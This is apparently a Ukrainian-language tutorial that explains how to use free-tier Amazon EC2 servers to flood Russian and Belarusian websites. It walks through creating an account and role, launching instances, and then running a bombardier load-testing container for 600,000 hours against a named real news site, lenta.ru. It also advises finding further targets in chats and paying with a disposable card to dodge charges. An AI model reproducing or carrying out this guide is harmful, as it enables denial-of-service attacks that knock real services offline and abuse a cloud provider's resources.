Як DDoS-ти з Free Tier з Amazon Cloud

Як DDoS-ти з Free Tier з Amazon Cloud


Привіт усім.

Насамперед хочеться подякувати @Anonymous та усім хакерам світу, а також причетним ІТ-волонтерам, які обєднались для того, щоб перемогти російських окупантів у війні.

First of all, I want to say Thanks to @Anonymous and all world hackers who are with Ukraine in this War. Thank you for your support. We will win and kick ass #Putin_Huilo #putin_little_bitch.

У цьому мануалі спробую описати, як ДДосити російські і білоруські ресурси, використовуючи серсвіси Amazon. Amazon надає 750 годин роботи EC2 (віртуального сервера) в якості Free Tier на місяць. Тому проста калькуляція: 1 сервер — 1 місяць t2.micro цілодобової безкоштовної роботи, 2 сервера — 15 днів і т. д . Після використання цих лімітів буде зтягуватись плата відповідно до прайсингу Амазону, тому після виконання роботи не забувайте зупиняти інстанси. А також рекомендую використовувати карточку, на якій немає багато грошей, і яку ви можете після закрити (в разі виставлення рахунку Амазоном).

1. Отже, почнемо з того, що потрібно створити акаунт Амазону та підключити карточку, з якої спише $1 і відразу має повернути цей долар назад.

2. Після реєстрації перейдіть за посиланням і увійдіть під новостореним акаунтом.

3. Виберіть будь-який регіон, який вам подобається. Я вибираю будь-який американський регіон.

Для цього подивіться в правий верхній кут у вашому браузері.


4. Після вибору регіону перейдіть в сервіс ІАМ для того, щоб створити сервісну роль для інстансу.

  • В ІАМ натисність Create Role — EC2 — Next —
  • У Add permissions — у пошуковій строці — шукаємо AmazonEC2RoleforSSM і вибираємо її.
  • Далі називаєм як створену роль (як вам подобається), наприклад SSMInstanceRole, і завершуємо створення ролі, натиснувши знизу кнопку Create Role .

5. Після створення ролі переходимо до створення інстансу за посиланнями і вибираємо Launch Instance.

  • У пошуковому рядку шукаємо ubuntu та вибираємо найпершу в списку Ubuntu Server 20.04 LTS, натиснувши Select.
  • У вкладці Choose an Instance Type вибираємо t2.micro та натискаємо Next.Configure Instance Details.
  • У Number of instances можна вибрати кількість однотипних інстансів, які бажаєте створити. 1, 2, 3 і т. д. ( не забуваємо про кількість годин місячного безкоштовного використання в 750 год.). Всі інші параметри лишаємо дефолтними, але шукаємо IAM Role та вибираємо попередньо створену роль і наступний важливий параметр User Data .Tуди вставляємо наступне:

#!/bin/bash

mkdir /tmp/ssm

cd /tmp/ssm

wget s3.amazonaws.com/...​md64/amazon-ssm-agent.deb

sudo dpkg -i amazon-ssm-agent.deb

sudo start amazon-ssm-agent

sudo systemctl enable amazon-ssm-agent

sudo snap install docker

  • Далі натискаємо Review and Launch --- Launch --- Procceed without a key pair --- I acknowledge that without a key pair... --- Launch Instance
  • Переходимо на борду через View Instance . Потрібно зачекати 2-3 хв., поки інстанс буде сконфігурений.

6. Після того як інстанс перейшов в статус Running, вибираємо його, клікаючи на його ID — натискаємо Connect — вибираємо Session Manager --- Connect

7. Зайшовши в термінал, вводимо sudo -s . Для прикладу можна використовувати тулзу. Для цього вам достатньо вести в терміналі команду docker run -d —rm alpine/bombardier -c 1000 -d 600000h {URL цілі}.

Приклад:

docker run -d --rm alpine/bombardier -c 1000 -d 600000h https://lenta.ru

Увага, використовуйте нові цілі, які знайдете у відповідних чатах. Після того, як ціль перестала відповідати через анонімний браузер, можна зупиняти інстанс або переходити до наступної цілі. Перевірка, чи контейнер запущений: команда docker ps -a. Зупинка докер контейнера: docker stop {id container}.